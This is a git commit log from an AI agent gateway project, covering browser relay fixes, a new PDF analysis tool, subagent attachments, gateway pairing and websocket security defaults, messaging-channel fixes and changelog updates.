f918b336d1 fix: agent-only announce path, BB message IDs, sender identity, SSRF allowlist (#23970)
* fix(agents): defer announces until descendant cleanup settles

* fix(bluebubbles): harden message metadata extraction

* feat(contributors): rank by composite score (commits, PRs, LOC, tenure)

* refactor(control-ui): move method guard after path checks to improve request handling

* fix subagent completion announce when only current run is pending

* fix(subagents): keep orchestrator runs active until descendants finish

* fix: prepare PR feedback follow-ups (#23970) (thanks @tyler6204)
2026-03-01 22:52:11 -08:00
Peter Steinberger
cfba64c9db test: fix pdf-tool fetch/model config mock typings 2026-03-02 06:48:01 +00:00
Peter Steinberger
e876c2c3b3 fix: finalize headless profile default landing (#14944) (thanks @BenediktSchackenberg) 2026-03-02 06:48:01 +00:00
Benedikt Schackenberg
d03928bb69 test: Add tests for headless/noSandbox profile preference
Cover all cases requested in review:
1. headless=true → defaultProfile = 'openclaw'
2. noSandbox=true → defaultProfile = 'openclaw'
3. both false → defaultProfile = 'chrome' (existing behavior)
4. explicit defaultProfile config overrides preference logic
5. custom profiles work in headless mode

Fixes: #14895
2026-03-02 06:48:01 +00:00
Benedikt Schackenberg
3e3b49cb94 fix(browser): prefer openclaw profile in headless/noSandbox environments
In headless or noSandbox server environments (like Ubuntu Server), the
Chrome extension relay cannot work because there is no GUI browser to
attach to. Previously, the default profile was 'chrome' (extension relay)
which caused snapshot/screenshot operations to fail with:

  'Chrome extension relay is running, but no tab is connected...'

This fix prefers the 'openclaw' profile (Playwright native mode) when
browser.headless=true or browser.noSandbox=true, while preserving the
'chrome' default for GUI environments where extension relay works.

Fixes: https://github.com/openclaw/openclaw/issues/14895

🤖 AI-assisted (Claude), fully tested: pnpm build && pnpm check && pnpm test
2026-03-02 06:48:01 +00:00
Tyler Yust
d0ac1b0195 feat: add PDF analysis tool with native provider support (#31319)
* feat: add PDF analysis tool with native provider support

New `pdf` tool for analyzing PDF documents with model-powered analysis.

Architecture:
- Native PDF path: sends raw PDF bytes directly to providers that support
  inline document input (Anthropic via DocumentBlockParam, Google Gemini
  via inlineData with application/pdf MIME type)
- Extraction fallback: for providers without native PDF support, extracts
  text via pdfjs-dist and rasterizes pages to images via @napi-rs/canvas,
  then sends through the standard vision/text completion path

Key features:
- Single PDF (`pdf` param) or multiple PDFs (`pdfs` array, up to 10)
- Page range selection (`pages` param, e.g. "1-5", "1,3,7-9")
- Model override (`model` param) and file size limits (`maxBytesMb`)
- Auto-detects provider capability and falls back gracefully
- Same security patterns as image tool (SSRF guards, sandbox support,
  local path roots, workspace-only policy)

Config (agents.defaults):
- pdfModel: primary/fallbacks (defaults to imageModel, then session model)
- pdfMaxBytesMb: max PDF file size (default: 10)
- pdfMaxPages: max pages to process (default: 20)

Model catalog:
- Extended ModelInputType to include "document" alongside "text"/"image"
- Added modelSupportsDocument() capability check

Files:
- src/agents/tools/pdf-tool.ts - main tool factory
- src/agents/tools/pdf-tool.helpers.ts - helpers (page range, config, etc.)
- src/agents/tools/pdf-native-providers.ts - direct API calls for Anthropic/Google
- src/agents/tools/pdf-tool.test.ts - 43 tests covering all paths
- Modified: model-catalog.ts, openclaw-tools.ts, config schema/types/labels/help

* fix: prepare pdf tool for merge (#31319) (thanks @tyler6204)
2026-03-01 22:39:12 -08:00
Peter Steinberger
31b6e58a1b docs: add relay reattach changelog attribution (#28725) (thanks @stone-jin) 2026-03-02 06:38:21 +00:00
stone-jin
04b3a51d3a fix(browser): preserve debugger attachment across relay disconnects during navigation reattach 2026-03-02 06:38:21 +00:00
Peter Steinberger
18cd77c8ce fix: cover relay reannounce minimal target path (#27630) (thanks @markmusson) 2026-03-02 06:33:28 +00:00
Mark Musson
591ff3c1c8 fix(browser-relay): fallback to cached targetId on target info lookup failure 2026-03-02 06:33:28 +00:00
Vincent Koc
3ae8e5ee91 Docs: add changelog entry for auth permission error (#31367)
* Docs: add changelog entry for auth permission error

* Update CHANGELOG.md
2026-03-01 22:30:47 -08:00
Peter Steinberger
b3cf6e7d77 fix: harden relay reconnect grace coverage (#30232) (thanks @Sid-Qin) 2026-03-02 06:28:50 +00:00
SidQin-cyber
f77f3fb839 fix(browser): tolerate brief extension relay disconnects on attached tabs
Keep extension relay tab metadata available across short extension worker drops and allow CDP clients to connect while waiting for reconnect. This prevents false "no tab connected" failures in environments where the extension worker disconnects transiently (e.g. WSLg/MV3).
2026-03-02 06:28:50 +00:00
Peter Steinberger
0eebae44f6 fix: test browser.request profile body fallback (#28852) (thanks @Sid-Qin) 2026-03-02 06:26:35 +00:00
SidQin-cyber
fa875a6bf7 fix(gateway): honor browser profile from request body for node proxy calls
Gateway browser.request only read profile from query.profile before invoking
browser.proxy on nodes. Calls that passed profile in POST body silently fell
back to the default profile, which could switch users into chrome extension
mode even when they explicitly requested openclaw profile.

Use query profile first, then fall back to body.profile when present.

Closes #28687
2026-03-02 06:26:35 +00:00
Sid
40e078a567 fix(auth): classify permission_error as auth_permanent for profile fallback (#31324)
When an OAuth auth profile returns HTTP 403 with permission_error
(e.g. expired plan), the error was not matched by the authPermanent
patterns. This caused the profile to receive only a short cooldown
instead of being disabled, so the gateway kept retrying the same
broken profile indefinitely.

Add "permission_error" and "not allowed for this organization" to
the authPermanent error patterns so these errors trigger the longer
billing/auth_permanent disable window and proper profile rotation.

Closes #31306

Made-with: Cursor

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-01 22:26:05 -08:00
Timothy Jordan
f2dbaf70fa docs: add Vercel sponsorship (#29270)
* docs: add Vercel sponsorship

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* docs: fix README formatting

* docs: resize Vercel sponsor logo to match other logos

* docs: scale down Vercel SVG viewBox to match other sponsor logos

* Fixed ordering.

* md error fix

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 06:25:46 +00:00
SidQin-cyber
821b7c80a6 fix(browser): avoid extension profile startup deadlock in browser start
browser start for driver=extension required websocket tab attachment during
ensureBrowserAvailable, which can deadlock startup because tabs can only
attach after relay startup succeeds.

For extension profiles, only require relay HTTP reachability in startup and
leave tab attachment checks to ensureTabAvailable when a concrete tab action
is requested.

Closes #28701
2026-03-02 06:19:36 +00:00
Peter Steinberger
5b8f492a48 fix(security): harden spoofed system marker handling 2026-03-02 06:19:16 +00:00
SidQin-cyber
7c9d2c1d48 fix(browser): retry relay navigation after frame detach
Retry browser navigate once after transient frame-detached/target-closed errors by forcing a clean Playwright reconnect, so extension-relay sessions stay controllable across navigation swaps.

Closes #29431
2026-03-02 06:14:52 +00:00
zerone0x
376a52a5ba fix: use 0o644 for inbound media files to allow sandbox read access (#17943)
* fix: use 0o644 for inbound media files to allow sandbox read access

Inbound media files were saved with 0o600 permissions, making them
unreadable from Docker sandbox containers running as different users.

Change to 0o644 (world-readable) so sandboxed agents can access
downloaded attachments.

Fixes #17941

Co-Authored-By: Claude <noreply@anthropic.com>

* test(media): assert URL-sourced inbound files use 0o644

* test(media): make redirect file-mode assertion platform-aware

* docs(media): clarify 0o644 is for sandbox UID compatibility

---------

Co-authored-by: zerone0x <zerone0x@users.noreply.github.com>
Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-01 22:14:39 -08:00
AaronWander
366374b4ff Sandbox: add actionable error when docker missing (#28547)
Co-authored-by: AaronWander <siralonne@163.com>
2026-03-01 22:14:26 -08:00
garnetlyx
ffa7c13c9b fix(voice-call): verify call status with provider before loading stale calls
On gateway restart, persisted non-terminal calls are now verified with
the provider (Twilio/Plivo/Telnyx) before being restored to memory.
This prevents phantom calls from blocking the concurrent call limit.

- Add getCallStatus() to VoiceCallProvider interface
- Implement for all providers with SSRF-guarded fetch
- Transient errors (5xx, network) keep the call with timer fallback
- 404/known-terminal statuses drop the call
- Restart max-duration timers for restored answered calls
- Skip calls older than maxDurationSeconds or without providerCallId
2026-03-01 22:13:24 -08:00
Peter Steinberger
3049ca840f docs: replace bare provider URLs with markdown links 2026-03-02 06:01:29 +00:00
Jannes Stubbemann
5bb26bf22a fix(browser): skip port ownership check for remote CDP profiles (#28780)
* fix(browser): skip port ownership check for remote CDP profiles

When a browser profile has a non-loopback cdpUrl (e.g. Browserless,
Kubernetes sidecar, or any external CDP service), the port-ownership
check incorrectly fires because we don't "own" the remote process.
This causes "Port is in use but not by openclaw" even though the
remote CDP service is working and reachable.

Guard the ownership error with !remoteCdp so remote profiles fall
through to the WebSocket retry/attach logic instead.

Fixes #15582

* fix: add TypeScript null guard for profileState.running

* chore(changelog): note remote CDP ownership fix credits

Refs #15582

* Update CHANGELOG.md

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-01 22:00:16 -08:00
Sahil Satralkar
cda119b052 fix: handle missing systemctl in containers (#26089) (#26699)
* Daemon: handle missing systemctl in containers

* Daemon: harden missing-systemctl detection

* Daemon tests: cover systemctl spawn failure path

* Changelog: note container systemctl service-check fix

* Update CHANGELOG.md

* Daemon: fail closed on unknown systemctl is-enabled errors

* Daemon tests: cover is-enabled unknown-error path

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-01 21:48:06 -08:00
Peter Steinberger
5d78fcf1b5 docs: add missing message channels to readme 2026-03-02 05:46:57 +00:00
Peter Steinberger
bc0288bcfb docs: clarify adaptive thinking and openai websocket docs 2026-03-02 05:46:57 +00:00
Sid
e1e715c53d fix(gateway): skip device pairing for local backend self-connections (#30801)
* fix(gateway): skip device pairing for local backend self-connections

When gateway.tls is enabled, sessions_spawn (and other internal
callGateway operations) creates a new WebSocket to the gateway.
The gateway treated this self-connection like any external client
and enforced device pairing, rejecting it with "pairing required"
(close code 1008). This made sub-agent spawning impossible when
TLS was enabled in Docker with bind: "lan".

Skip pairing for connections that are gateway-client self-connections
from localhost with valid shared auth (token/password). These are
internal backend calls (e.g. sessions_spawn, subagent-announce) that
already have valid credentials and connect from the same host.

Closes #30740

* gateway: tighten backend self-pair bypass guard

* tests: cover backend self-pairing local-vs-remote auth path

* changelog: add gateway tls pairing fix credit

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-01 21:46:33 -08:00
Sid
3002f13ca7 feat(config): add openclaw config validate and improve startup error messages (#31220)
Merged via squash.

Prepared head SHA: 4598f2a541
Co-authored-by: Sid-Qin <201593046+Sid-Qin@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-02 00:45:51 -05:00
Vincent Koc
5a2200b280 fix(sessions): harden recycled PID lock recovery follow-up (#31320)
* fix: detect PID recycling in session write lock staleness check

The session lock uses isPidAlive() to determine if a lock holder is
still running. In containers, PID recycling can cause a different
process to inherit the same PID, making the lock appear valid when
the original holder is dead.

Record the process start time (field 22 of /proc/pid/stat) in the
lock file and compare it during staleness checks. If the PID is alive
but its start time differs from the recorded value, the lock is
treated as stale and reclaimed immediately.

Backward compatible: lock files without starttime are handled with
the existing PID-alive + age-based logic. Non-Linux platforms skip
the starttime check entirely (getProcessStartTime returns null).

* shared: harden pid starttime parsing

* sessions: validate lock pid/starttime payloads

* changelog: note recycled PID lock recovery fix

* changelog: credit hiroki and vincent on lock recovery fix

---------

Co-authored-by: HirokiKobayashi-R <hiroki@rhems-japan.co.jp>
2026-03-01 21:42:22 -08:00
Ayaan Zaidi
548a502c69 docs: sync android node docs with current pairing and capabilities 2026-03-02 11:08:51 +05:30
Nikolay Petrov
a9f1188785 sessions_spawn: inline attachments with redaction, lifecycle cleanup, and docs (#16761)
Add inline file attachment support for sessions_spawn (subagent runtime only):

- Schema: attachments[] (name, content, encoding, mimeType) and attachAs.mountPath hint
- Materialization: files written to .openclaw/attachments/<uuid>/ with manifest.json
- Validation: strict base64 decode, filename checks, size limits, duplicate detection
- Transcript redaction: sanitizeToolCallInputs redacts attachment content from persisted transcripts
- Lifecycle cleanup: safeRemoveAttachmentsDir with symlink-safe path containment check
- Config: tools.sessions_spawn.attachments (enabled, maxFiles, maxFileBytes, maxTotalBytes, retainOnSessionKeep)
- Registry: attachmentsDir/attachmentsRootDir/retainAttachmentsOnKeep on SubagentRunRecord
- ACP rejection: attachments rejected for runtime=acp with clear error message
- Docs: updated tools/index.md, concepts/session-tool.md, configuration-reference.md
- Tests: 85 new/updated tests across 5 test files

Fixes:
- Guard fs.rm in materialization catch block with try/catch (review concern #1)
- Remove unreachable fallback in safeRemoveAttachmentsDir (review concern #7)
- Move attachment cleanup out of retry path to avoid timing issues with announce loop

Co-authored-by: Tyler Yust <TYTYYUST@YAHOO.COM>
Co-authored-by: napetrov <napetrov@users.noreply.github.com>
2026-03-01 21:33:51 -08:00
Peter Steinberger
842deefe5d test: split fast lane from channel and gateway suites 2026-03-02 05:33:07 +00:00
Peter Steinberger
a13586619b test: move integration-heavy suites to e2e lane 2026-03-02 05:33:07 +00:00
Peter Steinberger
656121a12b test: micro-optimize hot unit test files 2026-03-02 05:33:07 +00:00
Peter Steinberger
1de3200973 refactor(infra): centralize boundary traversal and root path checks 2026-03-02 05:20:19 +00:00
Peter Steinberger
7fcec6ca3e refactor(streaming): share approval and stream message builders 2026-03-02 05:20:19 +00:00
Peter Steinberger
6b78544f82 refactor(commands): unify repeated ACP and routing flows 2026-03-02 05:20:19 +00:00
Peter Steinberger
2d31126e6a refactor(shared): extract reused path and normalization helpers 2026-03-02 05:20:19 +00:00
Peter Steinberger
264599cc1d refactor(core): share JSON utf8 byte counting helper 2026-03-02 05:20:19 +00:00
Peter Steinberger
4a1be98254 fix(diffs): harden viewer security and docs 2026-03-02 05:07:09 +00:00
Peter Steinberger
0ab2c82624 docs: dedupe 2026.3.1 changelog entries 2026-03-02 05:04:28 +00:00
Peter Steinberger
6ba7238ac6 build: bump versions to 2026.3.2 2026-03-02 04:55:53 +00:00
Umut CAN
d2472af724 Chore: add Dockerfile HEALTHCHECK and debug-log silent catch blocks (#11478)
* Docker: add /healthz-based container HEALTHCHECK

* Docs/Docker: document built-in image HEALTHCHECK

* Changelog: note Dockerfile healthcheck probe

* Docs/Docker: explain HEALTHCHECK behavior in plain language

* Docker: relax HEALTHCHECK interval to 3m

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-01 20:52:14 -08:00
Peter Steinberger
2a8ac974e1 build: prepare 2026.3.1 latest release 2026-03-02 04:50:11 +00:00
Alberto Leal
449511484d fix(gateway): allow ws:// to private network addresses (#28670)
* fix(gateway): allow ws:// to RFC 1918 private network addresses

resolve ws-private-network conflicts

* gateway: keep ws security strict-by-default with private opt-in

* gateway: apply private ws opt-in in connection detail guard

* gateway: apply private ws opt-in in websocket client

* onboarding: gate private ws urls behind explicit opt-in

* gateway tests: enforce strict ws defaults with private opt-in

* onboarding tests: validate private ws opt-in behavior

* gateway client tests: cover private ws env override

* gateway call tests: cover private ws env override

* changelog: add ws strict-default security entry for pr 28670

* docs(onboard): document private ws break-glass env

* docs(gateway): add private ws env to remote guide

* docs(docker): add private ws break-glass env var

* docs(security): add private ws break-glass guidance

* docs(config): document OPENCLAW_ALLOW_PRIVATE_WS

* Update CHANGELOG.md

* gateway: normalize private-ws host classification

* test(gateway): cover non-unicast ipv6 private-ws edges

* changelog: rename insecure private ws break-glass env

* docs(onboard): rename insecure private ws env

* docs(gateway): rename insecure private ws env in config reference

* docs(gateway): rename insecure private ws env in remote guide

* docs(security): rename insecure private ws env

* docs(docker): rename insecure private ws env

* test(onboard): rename insecure private ws env

* onboard: rename insecure private ws env

* test(gateway): rename insecure private ws env in call tests

* gateway: rename insecure private ws env in call flow

* test(gateway): rename insecure private ws env in client tests

* gateway: rename insecure private ws env in client

* docker: pass insecure private ws env to services

* docker-setup: persist insecure private ws env

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-01 20:49:45 -08:00
Peter Steinberger
d76b224e20 docs: update appcast for 2026.3.1 2026-03-02 04:41:39 +00:00
Peter Steinberger
92ad89da00 build: prepare 2026.3.1-beta.1 release 2026-03-02 04:38:03 +00:00
Vincent Koc
eeb72097ba Gateway: add healthz/readyz probe endpoints for container checks (#31272)
* Gateway: add HTTP liveness/readiness probe routes

* Gateway tests: cover probe route auth bypass and methods

* Docker Compose: add gateway /healthz healthcheck

* Docs: document Docker probe endpoints

* Dockerfile: note built-in probe endpoints

* Gateway: make probe routes fallback-only to avoid shadowing

* Gateway tests: verify probe paths do not shadow plugin routes

* Changelog: note gateway container probe endpoints
2026-03-01 20:36:58 -08:00
Peter Steinberger
0a1eac6b0b fix(ios): eliminate voice wake and xcode build warnings 2026-03-02 04:36:49 +00:00
Peter Steinberger
7073f63610 fix(ios): enforce main-actor device status APIs 2026-03-02 04:36:49 +00:00
Peter Steinberger
cb484f44e9 fix: resolve i18n merge conflict and test hoist failure 2026-03-02 04:36:11 +00:00
cyb1278588254
96ffbb5aaf CLI: add config path subcommand to print active config file path (#26256)
Merged via squash.

Prepared head SHA: b11c593a34
Co-authored-by: cyb1278588254 <48212932+cyb1278588254@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-01 23:33:20 -05:00
Peter Steinberger
dc2290aeb1 fix(ci): drop redundant env assertions in daemon status 2026-03-02 04:32:35 +00:00
Peter Steinberger
8b05e4091c fix(discord): prefer names in allowlist resolution logs 2026-03-02 04:31:10 +00:00
Vincent Koc
b7615e0ce3 Exec/ACP: inject OPENCLAW_SHELL into child shell env (#31271)
* exec: mark runtime shell context in exec env

* tests(exec): cover OPENCLAW_SHELL in gateway exec

* tests(exec): cover OPENCLAW_SHELL in pty mode

* acpx: mark runtime shell context for spawned process

* tests(acpx): log OPENCLAW_SHELL in runtime fixture

* tests(acpx): assert OPENCLAW_SHELL in runtime prompt

* docs(env): document OPENCLAW_SHELL runtime markers

* docs(exec): describe OPENCLAW_SHELL exec marker

* docs(acp): document OPENCLAW_SHELL acp marker

* docs(gateway): note OPENCLAW_SHELL for background exec

* tui: tag local shell runs with OPENCLAW_SHELL

* tests(tui): assert OPENCLAW_SHELL in local shell runner

* acp client: tag spawned bridge env with OPENCLAW_SHELL

* tests(acp): cover acp client OPENCLAW_SHELL env helper

* docs(env): include acp-client and tui-local shell markers

* docs(acp): document acp-client OPENCLAW_SHELL marker

* docs(tui): document tui-local OPENCLAW_SHELL marker

* exec: keep shell runtime env string-only for docker args

* changelog: note OPENCLAW_SHELL runtime markers
2026-03-01 20:31:06 -08:00
Peter Steinberger
aeb817353f style(changelog): apply oxfmt 2026-03-02 04:30:05 +00:00
Peter Steinberger
1c0d36eed0 fix(ci): resolve i18n typing and generated-policy drift 2026-03-02 04:29:18 +00:00
Peter Steinberger
fa9148400e fix(android): align lint gates and photo permission handling 2026-03-02 04:28:17 +00:00
Peter Steinberger
37d036714e fix(thinking): default Claude 4.6 to adaptive 2026-03-02 04:27:26 +00:00
Sid
4691aab019 fix(cron): guard against year-rollback in croner nextRun (#30777)
* fix(cron): guard against year-rollback in croner nextRun

Croner can return a past-year timestamp for some timezone/date
combinations (e.g. Asia/Shanghai).  When nextRun returns a value at or
before nowMs, retry from the next whole second and, if still stale,
from midnight-tomorrow UTC before giving up.

Closes #30351

* googlechat: guard API calls with SSRF-safe fetch

* test: fix hoisted plugin context mock setup

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 22:22:59 -06:00
Peter Steinberger
6fc0787bf0 chore(deps): bump workspace dependencies 2026-03-02 04:22:33 +00:00
Peter Steinberger
8208f5e822 docs: reorder unreleased changelog by user impact 2026-03-02 04:19:56 +00:00
Peter Steinberger
619dfa88cb fix(discord): enrich allowlist resolution logs 2026-03-02 04:19:37 +00:00
Peter Steinberger
d17f4432b3 chore: fix gate formatting and raw-fetch allowlist lines 2026-03-02 04:18:48 +00:00
Peter Steinberger
7b3f506e64 style(swift): apply swiftformat and swiftlint fixes 2026-03-02 04:15:43 +00:00
Peter Steinberger
e1f3ded033 refactor: split telegram delivery and unify media/frontmatter/i18n pipelines 2026-03-02 04:14:06 +00:00
Peter Steinberger
706cfcd54f fix: isolate docker onboard e2e config env 2026-03-02 04:10:28 +00:00
Peter Steinberger
f46bd2e0cc refactor(feishu): split monitor startup and transport concerns 2026-03-02 04:09:24 +00:00
Peter Steinberger
c0bf42f2a8 refactor: centralize delivery/path/media/version lifecycle 2026-03-02 04:04:36 +00:00
Peter Steinberger
f4f094fc3b test(mattermost): cover defaultAccount resolution 2026-03-02 04:03:55 +00:00
Peter Steinberger
41537e9303 fix(channels): add optional defaultAccount routing 2026-03-02 04:03:46 +00:00
Peter Steinberger
0437ac1a89 fix(gateway): raise health-monitor restart cap 2026-03-02 04:03:04 +00:00
Mark L
0f2dce0483 fix(agents): prioritize per-model thinking defaults (#30439)
* fix(agents): honor per-model thinking defaults

* fix(agents): preserve thinking fallback with model defaults

---------

Co-authored-by: Mark L <73659136+markliuyuxiang@users.noreply.github.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-03-02 04:00:02 +00:00
Peter Steinberger
3fc19ed7d7 fix: harden feishu startup probe sequencing (#29941) (thanks @bmendonca3) 2026-03-02 03:59:23 +00:00
bmendonca3
abc7b6fbec Feishu: skip duplicate bot-info retries after preflight 2026-03-02 03:59:23 +00:00
bmendonca3
bdca44693c Feishu: serialize startup bot-info probes 2026-03-02 03:59:23 +00:00
Peter Steinberger
02b1958760 fix(feishu): suppress stale replay typing indicators (#30709) (thanks @arkyu2077) 2026-03-02 03:53:24 +00:00
yuxh1996
7fbc40f821 fix(feishu): skip typing indicator on old messages after context compaction (#30418) 2026-03-02 03:53:24 +00:00
Mark L
5b06c8c6e3 fix(config): normalize gateway bind host aliases during migration (#30855)
* fix(config): normalize gateway bind host aliases during migration [AI-assisted]

* config(legacy): detect gateway.bind host aliases as legacy

* config(legacy): sanitize bind alias migration log output

* test(config): cover bind alias legacy detection and log escaping

* config(legacy): add source-literal gate to legacy rules

* config(legacy): make issue detection source-aware

* config(legacy): require source-literal gateway.bind alias detection

* config(io): pass parsed source to legacy issue detection

* test(config): cover resolved-only gateway.bind alias legacy detection

* changelog: format after #30855 rebase conflict resolution

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-01 19:53:00 -08:00
Sid
c9f0d6ac8e feat(agents): support thinkingDefault: "adaptive" for Anthropic models (#31227)
* feat(agents): support `thinkingDefault: "adaptive"` for Anthropic models

Anthropic's Opus 4.6 and Sonnet 4.6 support adaptive thinking where the
model dynamically decides when and how much to think.  This is now
Anthropic's recommended mode and `budget_tokens` is deprecated on these
models.

Add "adaptive" as a valid thinking level:
- Config: `agents.defaults.thinkingDefault: "adaptive"`
- CLI: `/think adaptive` or `/think auto`
- Pi SDK mapping: "adaptive" → "medium" effort at the pi-agent-core
  layer, which the Anthropic provider translates to
  `thinking.type: "adaptive"` with `output_config.effort: "medium"`
- Provider fallbacks: OpenRouter and Google map "adaptive" to their
  respective "medium" equivalents

Closes #30880

Made-with: Cursor

* style(changelog): format changelog with oxfmt

* test(types): fix strict typing in runtime/plugin-context tests

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-03-02 03:52:02 +00:00
Peter Steinberger
ede944371f fix(telegram): land #31067 first-chunk voice-fallback reply refs (@xdanger)
Landed from contributor PR #31067 by @xdanger.

Co-authored-by: Kros Dai <xdanger@gmail.com>
2026-03-02 03:50:09 +00:00
Anandesh Sharma
61ef76edb5 docs(gateway): document Docker bridge networking and loopback bind caveat (#28001)
* docs(gateway): document Docker bridge networking and loopback bind caveat

The default loopback bind makes the gateway unreachable with Docker
bridge networking because port-forwarded traffic arrives on eth0, not
lo. Add a note in both the Dockerfile and the configuration reference
explaining the workarounds (--network host or bind: lan).

Fixes #27950

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* docs(docker): note legacy gateway.bind alias migration

* docs(gateway): clarify legacy bind alias auto-migration

* docs(docker): require bind mode values in gateway.bind

* docs(gateway): avoid bind alias auto-migration claim

* changelog: add #28001 docker bind docs credit

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-01 19:45:27 -08:00
Charles Dusek
92199ac129 fix(agents): unblock gpt-5.3-codex API-key routing and replay (#31083)
* fix(agents): unblock gpt-5.3-codex API-key replay path

* fix(agents): scope OpenAI replay ID rewrites per turn

* test: fix nodes-tool mock typing and reformat telegram accounts
2026-03-02 03:45:12 +00:00
Peter Steinberger
e1bf9591c3 fix(web-tools): land #31176 allow RFC2544 trusted fetch range (@sunkinux)
Landed from contributor PR #31176 by @sunkinux.

Co-authored-by: sunkinux <sunkinux@users.noreply.github.com>
2026-03-02 03:43:25 +00:00
Peter Steinberger
2a252a14cc fix(feishu): harden target routing, dedupe, and reply fallback 2026-03-02 03:41:53 +00:00
Clawborn
77ccd35e5e Fix onboard ignoring OPENCLAW_GATEWAY_TOKEN env var (#22658)
* Fix onboard ignoring OPENCLAW_GATEWAY_TOKEN env var

When running onboard via docker-setup.sh, the QuickStart wizard
generates its own 48-char token instead of using the 64-char token
already set in OPENCLAW_GATEWAY_TOKEN. This causes a token mismatch
that breaks all CLI commands after setup.

Check process.env.OPENCLAW_GATEWAY_TOKEN before falling back to
randomToken() in both the interactive QuickStart path and the
non-interactive path.

Closes #22638

Co-authored-by: Clawborn <tianrun.yang103@gmail.com>

* Tests: cover quickstart env token fallback

* Changelog: note docker onboarding token parity fix

* Tests: restore env var after non-interactive token fallback test

* Update CHANGELOG.md

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-01 19:40:40 -08:00
Gustavo Madeira Santana
8e69fd80e0 Gateway: harden control-ui vs plugin HTTP precedence 2026-03-01 22:38:14 -05:00
Gustavo Madeira Santana
6532757cdf Diffs: add viewer payload validation and presentation defaults 2026-03-01 22:38:14 -05:00
Peter Steinberger
0202d79df4 fix(inbound-meta): land #30984 include account_id context (@Stxle2)
Landed from contributor PR #30984 by @Stxle2.

Co-authored-by: Stxle2 <166609401+Stxle2@users.noreply.github.com>
2026-03-02 03:36:48 +00:00
Ayaan Zaidi
c13b35b83d feat(telegram): improve DM topics support (#30579) (thanks @kesor) 2026-03-02 09:06:45 +05:30
Peter Steinberger
aafc4d56e3 docs(changelog): credit fixes from PRs #31058 #31211 #30941 #31047 #31205 2026-03-02 03:35:49 +00:00
Peter Steinberger
00dcd931cb test(fs-safe): assert directory-read errors never leak EISDIR text 2026-03-02 03:35:20 +00:00
倪汉杰0668001185
6398a0ba8f fix(infra): avoid EISDIR leak to messaging when Read targets directory (Closes #31186) 2026-03-02 03:35:20 +00:00
Dale Babiy
8a4d8c889c fix(secrets): normalize inline SecretRef token/key to tokenRef/keyRef in runtime snapshot (#31047)
* fix(secrets): normalize inline SecretRef token/key to tokenRef/keyRef in runtime snapshot

When auth-profiles.json uses an inline SecretRef as the token or key
value directly (e.g. `"token": {"source":"file",...}`), the resolved
plaintext was written back to disk on every updateAuthProfileStoreWithLock
call, overwriting the SecretRef.

Root cause: collectTokenProfileAssignment and collectApiKeyProfileAssignment
detected inline SecretRefs but did not promote them to the canonical
tokenRef/keyRef fields. saveAuthProfileStore only strips plaintext when
tokenRef/keyRef is set, so the inline case fell through and persisted
plaintext on every save.

Fix: when an inline SecretRef is detected and no explicit tokenRef/keyRef
exists, promote it to the canonical field and delete the inline form.
saveAuthProfileStore then correctly strips the resolved plaintext on write.

Fixes #29108

* fix test: cast inline SecretRef loadAuthStore mocks to AuthProfileStore

* fix(secrets): fix TypeScript type error in runtime test loadAuthStore lambda

* test(secrets): keep explicit keyRef precedence over inline key ref

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-03-02 03:34:23 +00:00
Peter Steinberger
d446722f2f docs(changelog): merge post-v2026.2.26 release notes 2026-03-02 03:34:00 +00:00
Peter Steinberger
edd9319552 fix(feishu): land #31209 prevent system preview leakage (@stakeswky)
Landed from contributor PR #31209 by @stakeswky.

Co-authored-by: stakeswky <stakeswky@users.noreply.github.com>
2026-03-02 03:33:48 +00:00
Peter Steinberger
072e1e9e38 test(session): cover internal route without external fallback 2026-03-02 03:33:12 +00:00
graysurf
95db5bb5e8 fix(session): preserve external lastTo routing for internal turns 2026-03-02 03:33:12 +00:00
Peter Steinberger
0fa5d6ed2e test(usage): cover negative prompt_tokens alias clamp 2026-03-02 03:31:47 +00:00
scoootscooob
20467d987d fix(usage): clamp negative input token counts to zero
Some OpenAI-format providers (via pi-ai) pre-subtract cached_tokens from
prompt_tokens upstream.  When cached_tokens exceeds prompt_tokens due to
provider inconsistencies the subtraction produces a negative input value
that flows through to the TUI status bar and /usage dashboard.

Clamp rawInput to 0 in normalizeUsage() so downstream consumers never
see nonsensical negative token counts.

Closes #30765

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 03:31:47 +00:00
Glucksberg
08c35eb13f fix(cron): re-arm one-shot at-jobs when rescheduled after completion (openclaw#28915) thanks @Glucksberg
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Glucksberg <80581902+Glucksberg@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 21:31:24 -06:00
lbo728
904016b7de fix(origin-check): honour "*" wildcard in gateway.controlUi.allowedOrigins
When gateway.controlUi.allowedOrigins is set to ["*"], the Control UI
WebSocket was still rejected with "origin not allowed" for any non-
loopback origin (e.g. Tailscale IPs, LAN addresses).

Root cause: checkBrowserOrigin() compared each allowedOrigins entry
against the parsed request origin via a literal Array#includes(). The
entry "*" never equals an actual origin string, so the wildcard was
silently ignored and all remote connections were blocked.

